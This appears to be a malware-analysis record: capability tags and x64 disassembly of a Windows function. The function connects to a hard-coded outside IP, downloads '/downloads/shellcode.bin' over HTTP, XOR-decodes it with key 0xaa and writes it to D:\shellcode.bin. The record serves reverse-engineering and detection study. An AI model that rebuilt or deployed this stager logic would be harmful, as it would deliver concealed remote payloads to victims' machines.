Function at 0x1400010d0
Capabilities:
Connect socket
Download and write a file
Encode data using xor
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x15e0
call fcn.1400025c0
sub rsp, rax
movaps xmmword [rsp + 0x15d0], xmm6
lea rdx, [rsp + 0x1030]
movdqa xmm6, xmmword [0x140003470]
mov ecx, 0x202
xor esi, esi
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 2
lea edx, [rsi + 1]
mov ecx, ebx
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, str.34.92.246.195
mov rbp, rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
lea rcx, [rsp + 0x24]
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call sub.VCRUNTIME140.dll_memcpy
lea ecx, [rsi + 0x50]
mov word [rsp + 0x20], bx
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rsi + 0x10]
mov rcx, rbp
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
lea r9, str.34.92.246.195
lea r8, str._downloads_shellcode.bin
lea rdx, str.GET__s_HTTP_1.1_r_nHost:__s_r_nConnection:_close_r_n_r_n
lea rcx, [rsp + 0x11d0]
call fcn.140001070
lea rax, [rsp + 0x11d0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x1400011a1
xor r9d, r9d
lea rdx, [rsp + 0x11d0]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
lea rdx, [0x140003354]
lea rcx, str.D:_shellcode.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x1400013c2
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov r8d, 0x1000
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jle 0x1400013aa
mov qword [rsp + 0x15f0], r14
mov r14d, 0xffffffc0
nop dword [rax]
mov edx, ebx
test esi, esi
jne 0x1400012f7
lea rdx, str._r_n_r_n
lea rcx, [rsp + 0x30]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov r10, rax
test rax, rax
je 0x140001381
add r10, 4
lea r8d, [rsp + 0x30]
sub ebx, r10d
xor edx, edx
add r8d, ebx
mov esi, 1
test r8d, r8d
jle 0x1400012c9
cmp r8d, 0x40
jb 0x1400012c9
mov ecx, r8d
and ecx, 0x8000003f
jge 0x14000126b
dec ecx
or ecx, 0xffffffc0
inc ecx
mov eax, r8d
sub eax, ecx
movsxd rcx, eax
lea rax, [r10 + 0x20]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rdx, 0x40
movdqa xmm1, xmm6
xorps xmm0, xmm6
movdqu xmmword [rax - 0x60], xmm0
movdqu xmm0, xmmword [rax - 0x50]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm6
movdqu xmm0, xmmword [rax - 0x40]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm0, xmm6
movdqu xmmword [rax - 0x30], xmm0
cmp rdx, rcx
jl 0x140001280
movsxd r8, r8d
cmp rdx, r8
jge 0x1400012ec
mov rcx, r8
lea rax, [rdx + r10]
sub rcx, rdx
nop dword [rax + rax]
xor byte [rax], 0xaa
lea rax, [rax + 1]
sub rcx, rsi
jne 0x1400012e0
mov rdx, rsi
mov rcx, r10
jmp 0x140001378
xor eax, eax
test ebx, ebx
je 0x140001359
cmp ebx, 0x40
jb 0x140001359
mov rcx, rdx
and rcx, r14
nop dword [rax + rax]
movdqu xmm0, xmmword [rsp + rax + 0x30]
movdqa xmm1, xmm6
xorps xmm0, xmm6
movdqu xmmword [rsp + rax + 0x30], xmm0
movdqu xmm0, xmmword [rsp + rax + 0x40]
xorps xmm1, xmm0
movdqu xmmword [rsp + rax + 0x40], xmm1
movdqu xmm0, xmmword [rsp + rax + 0x50]
xorps xmm0, xmm6
movdqu xmmword [rsp + rax + 0x50], xmm0
movdqu xmm0, xmmword [rsp + rax + 0x60]
xorps xmm0, xmm6
movdqu xmmword [rsp + rax + 0x60], xmm0
add rax, 0x40
cmp rax, rcx
jl 0x140001310
mov r8, rdx
cmp rax, rdx
jge 0x14000136e
xor byte [rsp + rax + 0x30], 0xaa
inc rax
cmp rax, r8
jl 0x140001361
mov edx, 1
lea rcx, [rsp + 0x30]
mov r9, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov r8d, 0x1000
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jg 0x140001210
mov r14, qword [rsp + 0x15f0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea r11, [rsp + 0x15e0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rdi
ret